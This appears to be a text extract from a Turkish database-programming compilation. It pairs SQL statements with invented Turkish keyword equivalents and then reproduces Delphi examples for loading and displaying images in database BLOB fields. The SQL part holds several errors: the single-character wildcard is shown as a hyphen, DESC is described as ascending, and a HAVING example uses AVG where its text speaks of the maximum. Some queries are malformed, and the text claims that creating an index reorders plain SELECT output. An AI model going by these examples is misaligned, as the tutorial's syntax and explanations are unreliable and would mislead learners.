TANIM ÖRNEĞİ: Adres sutunu içerisinde semt bölümüne ait ayrıca bir sutun olmadığını varsayarak semt adı adres sutunu içerisinde yer alır ve buradan da LIKE (BULUNAN) komutuyla adres sutunu içerisinde Taksim semtinde oturan personeli listele. SELECT * SEÇ * FROM personel GELİŞ personel WHERE adres LIKE ‘% TAKSİM %’ ; OLAN adres LIKE ‘% TAKSİM%’ ; Adres LIKE ‘%TAKSİM%’ ifadesi adres içinde her hangi bir yerde TAKSİM yazan yerde oturan personeli listeleyecektir. LIKE sözcüğünü ,alt çizgi (-) sembolü ile birlikte kullanmakta mümkündür. SELECT * SEÇ * FROM personel GELİŞ personel WHERE ad LIKE ‘Mehmet -----‘; OLAN ad BULUNAN ‘Mehmet ----‘; Şekildeki komut ile ad alanı “Mehmet “ ile başlayan ve ad alanı uzunluğu 10 karakter olan isimlere sahip personeli listeleyecektir.”Mehmet Ali”,”Mehmet Can”- “Mehmetcik” gibi isimler listeleyecektir.Anlaşılacağı gibi - sembolü , tek karakterlik bir bilgiyi temsil etmektedir.
SQL’DE ARİTMETİKSEL İFADELER VE FNKSİYONLAR : KÜME FONKSİYONLARI: SUM FONKSİYONU: SUM TOPLA Fonksiyonun argümanı olarak belirtilen sütun ile ilişkili olana toplama işlemini gerçekleştirir. ÖRNEK:İşletmedeki personelin brüt maaşlar toplamı ne kadardır? SELECT SUMbrüt) SEÇ TOPLA(brüt) FROM personel; GELİŞ personel; AVG FONKSİYONU: AVG
ORT
Aritmetiksel ortalama (average) hesaplamak için kullanılır. SELECT AVG(brüt) SEÇ ORT (brüt) FROM personel; GELİŞ personel; MAX FONKSİYONU:
1620
MAX
ÜST
Tablo içinde ,belirtilen sutun (alan)içindeki en büyük değeri bulur. ÖRNEK:İşletme içindeki en yüksek maaş ne kadardır? SELECT MAX (brüt) SEÇ ÜST (brüt) FROM personel; GELİŞ personel; MIN FONKSİYONU: MIN ALT Tablo içinde,belirlenen sutun alan içindeki en küçük değeri bulur. ÖRNEK:İşletme içinde 4 Mayıs 1970’den önce doğanlar için,asgari ücret nedir? SELECT MIN(brüt) SEÇ ALT(brüt) FROM personel GELİŞ personel WHERE dog_tar<05/04/70}; OLAN dog_tar < {05/04/70}; COUNT FONKSİYONU: COUNT
SAY
Tablo içinde ,her hangi bir sayma işlemi gerçekleştirmek için kullanılır. ÖRNEK:Ücreti 6000000’dan olan personel sayısı nedir? SELECT COUNT (*) SEÇ SAY(*) FROM personel GELİŞ personel WHERE brüt>6000000; OLAN brüt > 6000000; COUNT (SAY) fonksiyonu DISTINCT (TEKRARSIZ)sözcüğü ile de kullanılır. ÖRNEK:Personel tablosunda mevcut personelin işletme içinde kaç tane farklı bölümde çalıştığını bul. SELECT COUNT(DISTINCT böl_no) FROM personel; COUNT (böl_no)
SEÇ SAY (TEKRARSIZ böl_no) GELİŞ personel; SAY (böl_no) GRUPLANDIRARAK İŞLEM YAPMA:
GROUP BY GRUPLA ÖRNEK: Her bölümdeki ortalama maaş nedir? SELECT böl_no,AVG (brüt) SEÇ böl_no FROM personel GELİŞ personel GOUP BY böl_no; GRUPLA böl_no; HAVING: HAVING SAHİP Gruplandırarak kümeleme fonksiyonunu uygularken koşulda verilebilir.Bu durumda grup üzerindeki hesaplamalarla ilgili koşul belirtilirken HAVING (SAHİP) sözcüğü kullanılır. ÖRNEK:En yüksek maaşın 9000000’dan fazla olduğu bölümlerdeki personele ait ortalama maaşları listele. SELECT böl_no,AVG (brüt) SEÇ böl_no, ORT(brüt) FROM personel GELİŞ personel GROUP BY böl_no GRUPLA böl_no HAVING AVG(brüt)> 9000000; SAHİP ORT(brüt)> 9000000; HAVING(SAHİP) sözcüğü SELECT(SEÇ) konusunda GROUP BY(GRUPLA) bulunmadığı zaman geçersizdir.HAVING(SAHİP) sözcüğünü izleyen ifade içinde ,SUM(TOPLA), COUNT(*)(SAY),AVG(ORT),MAX(ÜST) yada MIN(ALT) fonksiyonlarından en az biri bulunmalıdır. HAVING (SAHİP) sözcüğü sadece gruplanmış veriler üzerindeki işlemlerde geçerlidir. WHERE (OLAN) sözcüğü bir tablonun tek tek satırları üzerinde işlem yapan koşullar içinde geçerlidir. Bazı durumlarda HAVING(SAHİP) ve WHERE(OLAN) sözcükleri ile birlikte SELECT(SEÇ) komutu içinde kullanılabilir. ÖRNEK:Personel tablosu içinde her bölümde erkek personele ait maaşlar için ortalamanın 9000000’dan fazla olduğu bölümleri listele. SELECT böl_no, AVG(brüt) SEÇ böl_no, ORT (brüt) FROM personel GELİŞ personel WHERE cins= .T. OLAN cins= .D. GROUP BY böl_no GRUPLA böl_no HAVING AVG (brüt) > 9000000; SAHİP ORT(brüt) > 9000000; BİRDEN FAZLA TABLOYU İLİŞKİLENDİRMEK:
1621
JOIN
İLİŞKİLENDİR
ÖRNEK: Personel ve bölüm adlı 2 tablo bulunmaktadır. Çalışan her personel ve personelin yöneticisi ile ilişkili bilgiler nelerdir? SELECT * SEÇ * FROM personel,bölüm GELİŞ personel,bölüm WHERE personel .böl_no=bölüm.bölüm_no ; OLAN personel.böl_no = bölüm.bölüm_no; SELECT sicil,ad,soyad,böl_no,yön_s_g_n SEÇ sicil,ad,soyad,böl_no,yön_s_g_n FROM personel,bölüm
GEL İŞ personel,bölüm
WHERE personel .böl_no = bölüm .bölüm_no; SELF-JOIN:
OLAN personel .böl_no = bölüm.bölüm_no; KENDİSİYLE -İLİŞKİLENDİR
TANIM:Bir tablonun kendisi ile birleştirilmesine “KENDİSİYLE-İLİŞKiLENDİR” denir.(SELFJOIN) SELECT A. sicil , A.ad , A.soyad,B .ad , B.soyad , B.dog_tar SEÇ A. sicil , A.ad , A.soyad, B .ad , B.soyad , B.dog_tar FROM personel A , personel B
GELİŞ personel A , personel B
WHERE A. yon_sos_g_n =B .sosy_g_no;
OLAN A. yon_sos_g_n =B .sosy_g_no; NESTED SELECTS:
İÇİÇE TANIM:İç içe geçmiş SELECT(SEÇ)komutlarından oluşur.İçteki. seç komutunun bulduğu sonucu dış takı SEÇ komutumuz işlevini yerine getirmesi için kullanılır. ÖRNEK:Parça numarası 24 olan parçayı ,projelerde kullanan çalışan personeli listele. SELECT *
SEÇ *
FROM personel
GELİŞ personel
WHERE sosy_g_no
OLAN sosy_g_no
IN(SELECT per_s_g_no
İÇİNDE(SEÇ per_s_g_no
FROM parça,proje,çalışma
GELİŞ parça,proje,çalışma
WHERE pr_no = proj_no AND
OLAN pr_no = proj_no VE
proj_no =proj_no AND
proj_no = proj_no VE
par_no =24);
par_no =24);
ÖRNEK: Fatih’te oturan personelin çalıştığı projelerin adlarını ve yerlerini listele. SELECT proj_ad,yer
SEÇ proj_ad,yer
FROM proje
GELİŞ proje
WHERE proj_no IN
OLAN proj_no İÇİNDE
(SELECT proje_no
(SEÇ proje_no
FROM personel,çalışma
GELİŞ sosy_g_no = per_s_g_no
WHERE sosy_g_no = per_s_g_no
OLAN sosy_g_no = per_s_g_no
AND adres LIKE “% fatih %”);
VE adres BULUNAN “% fatih %); UNION SÖZCÜĞÜ:
UNION
BİRLEŞİM
1622
TANIM:İki ayrı SEÇ komutunun sonucunda elde edilen tabloların birleşimi işlemini gerçekleştirir. ÖRNEK:Adı Ahmet ve Soyadı Caner olan kişi yada kişileri işletmenin yürüttüğü projelerde çalışan bir kişi (sıradan bir personel yada bölüm yöneticisi)olarak bulunduran projelerin isimlerini ve projelerin yürütüldüğü yerleri listele. (SELECT proj_ad,yer
(SEÇ proj_ad,yer
FROM proj,bölüm,personel
GELİŞ proj,bölüm,personel
WHERE bl_no=bölüm_no AND
OLAN bl_no=bölüm_no VE
y_sos gno = sosy_g_no
y_sos gno = sosy_g_no
AND ad =”Ahmet”AND soyad =”Caner”)
VE ad =”Ahmet” VE soyad =”Caner”)
UNION (SELECT proj_ad,yer
BİRLEŞİM (SEÇ proj_ad,yer
FROM proje,çalışma,personel
GELİŞ proje,çalışma,personel
WHERE proj_no = proje_no AND
OLAN proj_no = proje_no VE
Per_s_g_no = sosy_g_no AND ad =”Ahmet”
Per_s_g_no = sosy_g_no VE ad ”Ahmet”
AND soyad=”Caner”)
VE soyad =”Caner”) KOŞULLAR:
UNION (BİRLEŞİM) sözcüğü ile ,iki yada daha çok kişi SELECT (SEÇ)’in sonucu olan tabloların küme birleşimi işlemine tabi tutulması için 2 koşul gereklidir. 1)SELECT (SEÇ) komutları sonucunda elde edilecek tablolar aynı sayıda kolon içermelidirler. 2)Sonuç tabloları karşılıklı olarak kolonların aynı veri tipi ve aynı genişlikte olmalıdır. ANY : ANY
HER HANGİ BİRİ
ÖRNEK:Satış bölümünde çalışan personelin her hangi birinden daha düşük maaş alan ve mühendislik bölümündeki kişileri listele. SELECT *
SEÇ *
FROM personel
GELİŞ personel
WHERE brüt < ANY
OLAN brüt < HER HANGİ BİRİ
(SELECT brüt
(SEÇ brüt
FROM personel
GELİŞ personel
WHERE böl_no = 2) AND böl_no = 1;
OLAN böl_no = 2) VE böl_no =1;
EŞ DEĞERİ İFADE: SELECT *
SEÇ *
FROM personel
GELİŞ personel
WHERE brüt < (SELECT MAX (brüt )
OLAN brüt < (SEÇ ÜST (brüt )
FROM personel
GELİŞ personel
WHERE böl_no = 2) AND böl_no =1;
OLAN böl_no = 2) VE böl_no =1;
ALL: ALL
HEPSİ
1623
ÖRNEK:Satış bölümünde çalışan ve mühendislik bölümündeki personelin hepsinden daha fazla maaş alan personeli listele.Bu örnekte satış bölümü kodu = 2 ve mühendislik bölümü kodu = 1 alınmıştır. YAPILIŞ YOLU: 1)SELECT *
SEÇ *
FROM personel
GELİŞ personel
WHERE brüt >
OLAN brüt >
ALL (SELECT brüt
HEPSİ (SEÇ brüt
FROM personel
GELİŞ personel
WHERE böl_no = 1) AND böl_no = 2;
OLAN böl_no =1) VE böl_no =2;
2)SELECT *
SEÇ
*
FROM personel
GELİŞ personel
WHERE brüt >
OLAN brüt >
(SELECT MAX (brüt)
(SEÇ ÜST (brüt)
FROM personel
GELİŞ personel
WHERE böl_no = 1) AND böl_no =2;
OLAN böl_no = 1) VE böl_no =2;
EXISTS: EXISTS
MEVCUT
VE ,VEYA ,DEĞİL operatörleri ile kullanılabilir. ÖRNEK: 27 no’lu parçayı satan satıcılarla ilişkili tüm bilgileri listele. SELECT *
SEÇ *
FROM satıcı
GELİŞ satıcı
WHERE EXISTS
OLAN MEVCUT
(SELECT *
(SEÇ *
FROM par_sat
GELİŞ par_sat
WHERE sat_no = satıcı_n
OLAN sat_no = satıcı_n
AND parça_n =27);
VE parça_n = 27);
NOT EXISTS: NOT EXISTS
MEVCUT DEĞİL
VE ,VEYA ,DEĞİL operatörleri ile kullanılabilir. ÖRNEK: 27 no’lu parçayı satmayan satıcılar kimlerdir? SELECT *
SEÇ *
FROM satıcı
GELİŞ satıcı
WHERE NOT EXISTS
OLAN MEVCUT DEĞİL
(SELECT *
(SEÇ *
FROM par_sat
GELİŞ par_sat
WHERE sat_no = satıcı_n
OLAN sat_no = satıcı_n
1624
AND parça_n =27);
VE parça_n = 27);
EXCEPT: EXCEPT
FARKLI
Tablo-1 - Tablo-2 işlemi sonuç(iki kümenin farkı) elde edilecek tabloda,Tablo-1’de bulunup, Tablo-2’de bulunmayan veriler mevcut olacaktır. ÖRNEK:Satış bölümündeki personel adlarından,mühendislik bölümünde bulunmayanları listele. SELECT *
FROM
SEÇ *
GELİŞ
(SELECT ad FROM personel
(SEÇ ad GELİŞ personel
WHERE bol_no=1
OLAN böl_no = 1
EXCEPT
FARKLI
SELECT ad FROM personel
SEÇ ad GELİŞ personel
WHERE bol_no =2);
OLAN böl_no =2);
INTERSECT: INTERSECT
KESİŞİM
ÖRNEK: Hem Ankara’da,hem de İstanbul’daki projelerde görev alan bölümleri listele. SELECT * FROM
SEÇ * GELİŞ
(SELECT bl_no FROM proje
(SEÇ bl_no GELİŞ proje
WHERE yer LIKE “%Ankara%”
OLAN yer BULUNAN “%Ankara%”
INTERSECT
KESİŞİM
SELECT bl_no FROM proje
SEÇ bl_no GELİŞ proje
WHERE yer LIKE “%İstanbul%”);
OLAN yer BULUNAN “%İstanbul%”);
SAVE TO TEMP: SAVE TO TEMP
SAKLA
ÖRNEK: Bayan personeli,bayan adlı bir tablo içinde sakla. SELECT *
SEÇ
*
FROM personel
GELİŞ personel
WHERE cins =.F. SAVE TO TEMP bayan;
OLAN cins =.Y. SAKLA bayan;
KEEP: KEEP
KALICI
ÖRNEK: SELECT *
SEÇ *
FROM personel
GELİŞ personel
WHERE cins = .F.
OLAN cins =.Y.
SAVE TO TEMP bayan KEEP;
GEÇİCİ SAKLA bayan KALICI;
TABLOLARDA DEĞİŞİKLİK YAPMAK:
1625
INSERT: INSERT
EKLE İÇİNE
INTO VALUES
DEĞERLER
ÖRNEK:Bir personel tablosuna sicil_no’su 275 olan personel ile ilişkili bilgileri ekle. INSERT INTO personel(sicil,
EKLE İÇİNE personel(sicil,
sosy_g_no,ad,soyad,doğ_tar
sosy_g_no,ad,soyad,doğ_tar
adres,cins,brüt,böl_no,yön_s_g_no
adres,cins,brüt,böl_no,yön_s_g_no
VALUES(‘275’,’27652418’,’Ali’,’Caner’,
DEĞERLER (‘275’,’27652418’,’Ali’,’Caner’,
{10/05/1962},’Merkez caddesi 46 –Fatih-İstanbul’, {10/05/1962},’Merkez caddesi 46 –Fatih-İstanbul’, .T.,27000000,2,’876215342’);
.D.,27000000,2,’876215342’);
DELETE: DELETE
SİL
ÖRNEK:2 no’lu bölümdeki personelin tümü tablodan sil. DELETE FROM personel
SİL GELİŞ personel
WHERE böl_no = 2;
OLAN böl_no = 2;
5 ROWS DELETED
5 SATIR SİLİNDİ
ÖRNEK:Brüt maaş alanı boş olmayan tüm personeli sil. DELETE FROM personel
SİL GELİŞ personel
WHERE brüt IS NOT NULL;
OLAN brüt DEĞERSİZ;
25 ROWS DELETED
25 SATIR SİLİNDİ
UPDATE : UPDATE
GÜNCELLE
SET
YAP
ÖRNEK:2’inci bölümün yürüttüğü projelerde kullanılan tüm parçaların fiyatlarını % 7 zam yap. UPDATE parça
GÜNCELLE parça
SET fiyat = fiyat *1,07
YAP fiyat = fiyat *1,07
WHERE pr_no IN
OLAN pr_no İÇİNDE
(SELECT proj_no
(SEÇ proj_no
FROM proje
GELİŞ proje
WHERE bl_no = 2;
OLAN bl_no =2 ;
CREATE INDEX: CREATE INDEX ON
INDEKS YARAT İÇİN
CREATE INDEX ındeks adı
INDEKS YARAT ındeks adı
1626
ON tablo adı(kolon adı 1,kolon adı 2,.,.kolon adı n); İÇİN tablo adı(kolon adı 1,kolon adı 2,.,.kolon adı n); TEK BİR ALAN A GÖRE ARTAN SIRADA İNDEKSLEME : ÖRNEK:İşletmede çalışan personeli brüt maaşlarına göre artan sırada listele.(Brüt alana göre bir indeks oluşturmalıyız) CREATE INDEX pers_maas INDEKS YARAT pers_maas ON personel(brüt); İÇİN personel(brüt); INDEX CREATED 127 ROWS İNDEKS YARATILDI 127 SATIR 127 satırlık personel tablosu ile ilişkili olarak brüt kolonu indeks anahtarı olarak kullanan pers_maas adlı indeks oluşturulmuştur.Bu durumda; SELECT * SEÇ * FROM personel;
GELİŞ personel;
Şeklinde listeleme komutu sonucunda personel tablosundaki tüm personel, brüt maaşlarına göre sıralı olarak listelenecektir. TEK BİR ALANA GÖRE AZALAN SIRADA İNDEKSLEME : DESC
Küçükten büyüğe (K-B)
ÖRNEK:İşletmede çalışan personeli brüt maaşlarına göre azalan sırada (yüksek maaştan düşük maaşa doğru)listelemek istersek ,brüt alanına göre aşağıdaki şekilde oluşturmak gerekir. CREATE INDEX
INDEKS YARAT
ON personel (brüt DESC);
İÇİN PERSONEL(BRÜT K-B); BİRDEN FAZLA ALANA GÖRE İNDEKSLEME :
ÖRNEK:İşletmedeki personelin öncelikle adlarına göre,aynı adda olanların soyadlarına göre ,hem adı hemde soyadı aynı olanların maaşlarına göre sıralanmış olarak listele. CREATE INDEX p_ad_soy_m İNDEKS YARAT p_ad_soy_m ON personel(ad,soyad,brüt); İÇİN personel (ad,soyad,brüt); Bu durumda; SELECT *
SEÇ *
FROM personel;
GELİŞ personel; ile tablo görüntülenir.
UNİQUE SÖZCÜĞÜ: UNIQUE
TEK
Bir tablo,seçilen bir sutüna (alana) göre indekslenirken , indeksleme alanı olarak seçilen sutündaki verilerintekrarlanmasına müsaade edilmesi istenmiyorsa,indeksleme yapılırken ,CREATE ,INDEX komutu iinde UNİQUE sözcüğü kullanılmalıdır. CREATE UNİQUE İNDEX pers_sicil
TEK INDEKS YARAT pers_sicil
ON personel (sicil);
İÇİN personel (sicil);
EKLEME İÇİN: Personel tablosuna INSERT INTO Personel
EKLE İÇİNE Personel
VALUES(53768 ,’27241685’,’ayşe’,
DEĞERLER (53768 ,’27241685’,’ayşe’ ,
‘şen’{01/04/63},’Merkez cad. 82 –
‘şen’{01/04/63},’Merkez cad. 82 –
Kadıköy’.F. ,27000000 ,2, ‘34261578’);
Kadıköy’.Y. ,27000000 ,2, ‘34261578’);
MEVCUT BİR İNDEKSİN SİLİNMESİ: DROP IPTAL
1627
İPTAL İNDEKS pers_in;
DROP INDEX pers_in; Komutu ile INDEX DROPPED (İNDEKS SİLİNDİ) TABLONUN YAPISINDA DEĞİŞİKLİK YAPMAK: ALTER TABLE
TABLO DEĞİŞTİR
MEVCUT BİR TABLOYA KOLON EKLEMEK: ADD
EKLE
DATE
TARİH
ALTER TABLE (TABLO DEĞİŞTİR) komutu içinde ADD (EKLE) ile satır ekle. ÖRNEK:Personel tablosuna ,işe başlama tarihini belirten bir kolon ekle ALTER TABLE personel
TABLO DEĞİŞTİR personel
ADD iş_baş_tar DATE;
EKLE iş_baş_tar TARİH;
ADD (EKLE)iş_baş_tar DATE NOT NULL (TARİH DEĞERSİZ) bu şekilde kullanılsaydı bu kolon satırı gene boş kalırdı ; fakat bu kolon ile ilişkili yeni boş değerler eklemek istendiğinde buna müsaade edilmeyecekti. MEVCUT BİR TABLONUN KOLONLARINDA DEĞİŞİKLİK YAPMAK : MODIFY KOMUTU: MODIFY
ONAR MEVCUT BİR TABLODAN BİR KOLON SİLMEK:
DROP KOMUTU : DROP
İPTAL
ÖRNEK:Personel tablosundan iş_baş_tar kolonunu sil. ALTER TABLE personel TABLO DEĞİŞTİR personel DROP iş_baş_tar ; İPTAL iş_baş_tar; Birden fazla kolonda silinebilir.Birden fazla kolon silmek için virgülle ayrılarak silinir. BİR TABLONUN ADINI DEĞİŞTİRMEK: RENAME KOMUTU: RENAME
TABLO YENİ AD
ALTER TABLE personel
TABLO DEĞİŞTİR personel
RENAME TABLE elemanlar;
TABLO YENİ AD elemanlar;
MEVCUT Bİ TABLONUN BİR KOLONUNUN ADININ DEĞİŞTİRİLMESİ: RENAME: RENAME
YENİ AD
ALTER TABLE personel RENAME brüt br-maaş; MEVCUT BİR TABLONUN TÜMÜYLE SİLİNMESİ DROP TABLE
TABLO İPTAL
ÖRNEK:Proje tablosunu sil. DROP TABLE proje;
TABLO İPTAL proje;
1628
VERİ GÜVENLİĞİ: CREATE VİEW
GÖRÜŞ ALANI YARAT
ÖRNEK:Personel adlı temel tablodan persview adlı bir view oluştur. CREATE VİEW perswiew
GÖRÜŞ ALANI YARAT persview
AS SELECT sicil,sos_g_no,ad,soyad,doğ_tar,
GİBİ SEÇ sicil,sos_g_no,ad,soyad,doğ_tar,
adres,cins,böl_no,yon_s_g_no FROM personel;
adres,cins,böl_no,yon_s_g_no GELİŞ personel;
VERİ BÜTÜNLÜĞÜNÜN SAĞLANMASI: WITH CHECK OPTİON
KONTROLLÜ
CREATE VIEW UST_PER_ VIEW
Önce bir vıew oluşturulsun
AS SELECT FROM personel WHERE brüt >25000000 WITH CHECK OPTİON; GÖRÜŞ ALANI YARAT UST_PER_VIEW GİBİ SEÇ GELİŞ personel OLAN brüt >25000000 KONTROLLÜ; Burada, maaşı 25000000’ün üzerinde olan personelden oluşan bir UST_PER_VIEW adlı view oluşturulmuştur.Bu vıew’a brüt maaşı 13000000 olan bir personel eklemek istediği zaman hata mesajı verecektir. CHECK opsiyonu kullanılmasaydı hata mesajı alınmadan bu veri VİEW içine yükleyecekti. EKLEME INSERT INTO UST_PER_VIEW EKLE İÇİNE UST_PER_VIEW VALUES (27521 ,’27865427’,’ayşe’, DEĞERLER (27521 ,’27865427’,’ayşe’, ‘okan’ ,{01/05/1962}’Cumh. Cad. 46 – Taksim’, ‘okan’ ,{01/05/1962}’Cumh. Cad. 46 – Taksim’, .F.,13000000 ,1 ,’27651112’); .F.,13000000 ,1 ,’27651112’); VIEW İÇİNDE SATIR SİLME: ÖRNEK:UST_PER_VIEW içinden,maaşı 2500000’den az olan kişileri sil. DELETE FROM UST_PER_VIEW SİL GELİŞ UST_PER_VIEW WHERE brüt < 25000000; OLAN brüt < 25000000; VIEW SATIRLARI ÜZERİNDE GÜNCELLEME : ÖRNEK: UST_PER_VIEW adlı view’de sicili 27251 olan kişnin maaşını 37000000 olarak değiştir. UPDATE UST_PER_VIEW GÜNCELLE UST_PER_VIEW SET brüt = 37000000 YAP brüt = 37000000 WHERE sicil = 27251; OLAN sicil = 27251; BİR VIEW’U SİLMEK: DROP VIEW GÖRÜŞ ALANI İPTALİ DROP VIEW UST_PER_VIEW; GÖRÜŞ ALANI İPTALİ UST_PER_VIEW; SQL’in amacı bu komutları yan yana yazdığımızda bir cümlenin ortaya çıkmasıdır. SELECT .... FROM .... WHERE ....,ORDER BY ....,GROUP BY .........HAVING.... ......(DEN).....GELİŞ.....OLAN.. ,.......SIRALA....,GRUPLA......SAHİP....SEÇ
1629
{ Article: Pictures inside a database http://delphi.about.com/library/weekly/aa030601a.htm Chapter three of the free Delphi Database Course for beginners. Displaying images (BMP, JPEG, ...) inside an Access database with ADO and Delphi. For the .zip file of this project click here. } unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Buttons, ExtCtrls, StdCtrls, Db, ADODB, Grids, DBCtrls, DBGrids; type TForm1 = class(TForm) ADOTable1: TADOTable; DataSource1: TDataSource; btnShowImage: TButton; ADOImage: TImage; ADOTable1Name: TWideStringField; ADOTable1Description: TWideStringField; ADOTable1Author: TWideStringField; ADOTable1Type: TWideStringField; ADOTable1Size: TFloatField; ADOTable1Cost: TBCDField; ADOTable1DateUpl: TDateTimeField; ADOTable1Picture: TBlobField; DBGrid1: TDBGrid; procedure btnShowImageClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); private { Private declarations } public { Public declarations } end; const JPEGstarts = 'FFD8'; BMPstarts = '424D'; //BM var Form1: TForm1; implementation uses jpeg; {$R *.DFM} function JpegStartsInBlob (PicField:TBlobField):integer; var bS : TADOBlobStream; buffer : Word; hx : string; begin Result := -1; bS := TADOBlobStream.Create(PicField, bmRead);
1630
try while (Result = -1) and (bS.Position + 1 < bS.Size) do begin bS.ReadBuffer(buffer, 1); hx:=IntToHex(buffer, 2); if hx = 'FF' then begin bS.ReadBuffer(buffer, 1); hx:=IntToHex(buffer, 2); if hx = 'D8' then Result := bS.Position - 2 else if hx = 'FF' then bS.Position := bS.Position-1; end; //if end; //while finally bS.Free end; //try end; procedure TForm1.btnShowImageClick(Sender: TObject); var bS : TADOBlobStream; Pic : TJpegImage; begin bS := TADOBlobStream.Create(AdoTable1Picture, bmRead); try bS.Seek(JpegStartsInBlob(AdoTable1Picture), soFromBeginning); Pic:=TJpegImage.Create; try Pic.LoadFromStream(bS); ADOImage.Picture.Graphic:=Pic; finally Pic.Free; end; finally bS.Free end; end; procedure TForm1.FormCreate(Sender: TObject); var sDBPath, sCons: string; begin //change the sDBPath to point to your database! sDBPath := 'c:\!Gajba\About\aboutdelphi.mdb'; sCons := 'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=' + sDBPath + ';Persist Security Info=False'; ADOTable1.ConnectionString := sCons; ADOTable1.TableName := 'Applications'; DataSource1.DataSet := ADOTable1; DBGrid1.DataSource := DataSource1; ADOTable1.Active:=True; end; procedure TForm1.FormDestroy(Sender: TObject); begin ADOTable1.Active:=False; end; //Extra!! save JPG to table procedure SaveJpegToTable(Table: TADOTable; PicField:TBlobField; sPicPath: string); { Usage:
1631
SPicFileName := 'C:\!gajba\cdcovers\cdcover1.jpg'; SaveJpegToTable(ADOTable1, ADOTable1Picture, SPicFileName);
} var fS : TFileStream; begin fs:=TFileStream.Create(sPicPath, fmOpenRead); try Table.Edit; PicField.LoadFromStream(fs); Table.Post; finally fs.Free; end; end; end.
{ ******************************************** Zarko Gajic, BSCS About.com Guide to Delphi Programming http://delphi.about.com email: [email protected] free newsletter: http://delphi.about.com/library/blnewsletter.htm forum: http://forums.about.com/ab-delphi/start/ ******************************************** }
1632
Borland Developer Network Home > Delphi & Kylix
Extracting A Bitmap From A BLOB Field - by Borland Developer Support Staff Technical Information Database TI791D.txt Extracting A Bitmap From A BLOB Field Category :Database Programming Platform :All Product :Delphi All Description: Extracting a bitmap from a dBASE or Paradox blob field -- without first saving the bitmap out to a file -- is a simple process of using the Assign method to store the contents of the BLOB field to an object of type TBitmap. A stand- alone TBitmap object or the Bitmap property of the Picture object property of a TIMage component are examples of compatible destinations for this operation. Here is an example demonstrating using the Assign method to copy a bitmap from a BLOB field into a TImage component. procedure TForm1.Button1Click(Sender: TObject); begin Image1.Picture.Bitmap.Assign(Table1Bitmap); end; In this example, the TBLOBField object Table1Bitmap is a BLOB field in a dBASE table. This TBLOBField object was created using the Fields Editor. If the Fields Editor is not used to create TFields for the fields in the table, the fields must be referenced using either the FieldByName method or the Fields property, both part of the TTable and TQuery components. In cases where one of those means is used to reference the BLOB field in a table, the field reference must be type-cast as a TBLOBField object prior to using the Assign method. For example: procedure TForm1.Button1Click(Sender: TObject); begin Image1.Picture.Bitmap.Assign(TBLOBField(Table1.Fields[1])); end; A bitmap stored in a BLOB field may also be copied directly to a standalone TBitmap object. Here is an example showing the creation of a TBitmap object and storing into it a bitmap from a BLOB field. procedure TForm1.Button2Click(Sender: TObject); var B: TBitmap; begin B := TBitmap.Create; try B.Assign(Table1Bitmap); Image1.Picture.Bitmap.Assign(B); finally B.Free; end; end;
1633
Loading Bitmaps Into dBASE And Paradox BLOB Fields - by Borland Developer Support Staff Technical Information Database TI779D.txt Loading Bitmaps Into dBASE And Paradox BLOB Fields Category :Database Programming Platform :All Product :Delphi 1.0 Description: There are a number of ways to load a bitmap image into the BLOB field of a dBASE or Paradox table. Three of the easier methods involve 1) copying the data from the Windows clipboard into a TDBImage component connected to the BLOB field, 2) using the LoadFromFile method of the TBLOBField component, and 3) using the Assign method to copy an object of type TBitmap into the Picture property of a TBDBImage. The first method, copying the bitmap from the clipboard, is probably most handy when an application needs to add bitmaps to a table when the enduser is running the application. A TDBImage component is used to act as an interface between the BLOB field in the table and the image stored in the clipboard. The PasteFromClipboard method of the TDBImage component is invoked to copy the bitmap data from the clipboard into the TDBImage. When the record is posted, the image is stored into the BLOB field in the table. Because the Windows clipboard can contain data in formats other than just bitmap, it is advisable to check the format prior to calling the CopyFromClipboard method. To do this, a TClipboard object is created and its HasFormat method is used to determine if the data in the clipboard is indeed of bitmap format. Note that to use a TClipboard object, the Clipbrd unit must be included in the Uses section of the unit that will be creating the object. Here is an example showing the contents of the clipboard being copied into a TDBImage component, if the contents of the clipboard are of bitmap format: procedure TForm1.Button1Click(Sender: TObject); var C: TClipboard; begin C := TClipboard.Create; try if Clipboard.HasFormat(CF_BITMAP) then DBImage1.PasteFromClipboard else ShowMessage('Clipboard does not contain a bitmap!'); finally C.Free; end; end; The second method of filling a BLOB field with a bitmap involves loading the bitmap directly from a file on disk into the BLOB field. This method lends itself equally well to uses at run-time for the end-user as for the developer building an application's data. This method uses the LoadFromFile method of the TBLOBField component, the Delphi representation of a dBASE for Windows Binary field or a Paradox for Windows Graphic field, either of which may be used to store bitmap data in a table. The LoadFromFile method of the TBLOBField component requires a single
1634
parameter: the name of the bitmap file to load, which is of type String. The value for this parameter may come from a number of sources from the end-user manually keying in a valid file name to the program providing a string to the contents of the FileName property of the TOpenDialog component. Here is an example showing the use of the LoadFromFile method for a TBLOBField component named Table1Bitmap (a field called Bitmap in the table associated with a TTable component named Table1): procedure TForm1.Button2Click(Sender: TObject); begin Table1Bitmap.LoadFromFile( 'c:\delphi\images\splash\16color\construc.bmp'); end; The third method uses the Assign method to copy the contents of an object of type TBitmap into the Picture property of a TDBImage component. An object of type TBitmap might be the Bitmap property of the Picture object property of a TImage component or it may be a stand-alone TBitmap object. As with the method copying the data from the clipboard into a TDBImage component, the bitmap data in the TDBImage component is saved into the BLOB field in the table when the record is successfully posted. Here is an example using the Assign method. In this case, a stand-alone TBitmap object is used. To put a bitmap image into the TBitmap, the LoadFromFile method of the TBitmap component is called. procedure TForm1.Button3Click(Sender: TObject); var B: TBitmap; begin B := TBitmap.Create; try B.LoadFromFile('c:\delphi\images\splash\16color\athena.bmp'); DBImage1.Picture.Assign(B); finally B.Free; end; end;
1635
